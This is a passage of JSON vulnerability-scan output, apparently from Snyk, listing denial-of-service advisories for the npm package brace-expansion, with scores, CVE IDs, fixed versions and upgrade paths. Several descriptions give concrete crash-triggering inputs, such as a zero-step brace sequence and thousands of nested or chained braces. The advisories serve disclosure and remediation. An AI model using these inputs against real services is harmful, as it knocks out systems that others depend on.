"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
